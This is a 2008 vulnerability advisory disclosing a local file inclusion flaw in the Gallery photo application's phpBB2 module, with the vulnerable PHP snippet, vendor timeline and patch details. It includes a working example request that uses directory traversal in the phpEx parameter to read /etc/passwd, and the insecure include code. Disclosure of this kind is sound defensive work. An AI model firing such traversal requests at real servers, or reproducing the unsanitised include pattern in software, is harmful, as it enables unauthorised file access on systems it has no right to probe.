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[DSECRG-08-035] Local File Include Vulnerability in Gallery 1.5.7, 1.6-alpha3 Aug 08 2008 05:29PM
Digital Security Research Group [DSecRG] (research dsec ru)

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-035

Application: Gallery
Versions Affected: 1.5.7, 1.6-alpha3
Vendor URL: http://gallery.menalto.com/
Bug: Local File Include
Exploits: YES
Reported: 14.07.2008
Vendor response: 15.07.2008
Solution: YES
Date of Public Advisory: 08.08.2008
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description
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Gallery system has local file include vulnerability in script contrib/phpBB2/modules.php

Successful exploitation requires that "register_globals" is enabled.

Code
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#################################################

switch ($_REQUEST['op']) {
case 'modload':
// Added with changes in Security for PhpBB2.
define('IN_PHPBB', true);

define ("LOADED_AS_MODULE","1");
$phpbb_root_path = "./";
// connect to phpbb
include_once($phpbb_root_path . 'extension.inc');
include_once($phpbb_root_path . 'common.'.$phpEx);
include_once($phpbb_root_path . 'includes/functions.'.$phpEx);

#################################################

Example:

http://[server]/[installdir]/contrib/phpBB2/modules.php?op=modload&phpEx
=../../../../../../../../../../../../../etc/passwd

Solution
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Vendor fix this flaw on 05.08.2008. Download Gallery 1.5.8 and 1.6-RC1 from download page on SourceForge:

http://sourceforge.net/project/showfiles.php?group_id=7130&package_id=72
39&abmode=1

More information about release: http://gallery.menalto.com/gallery_1.5.8_released

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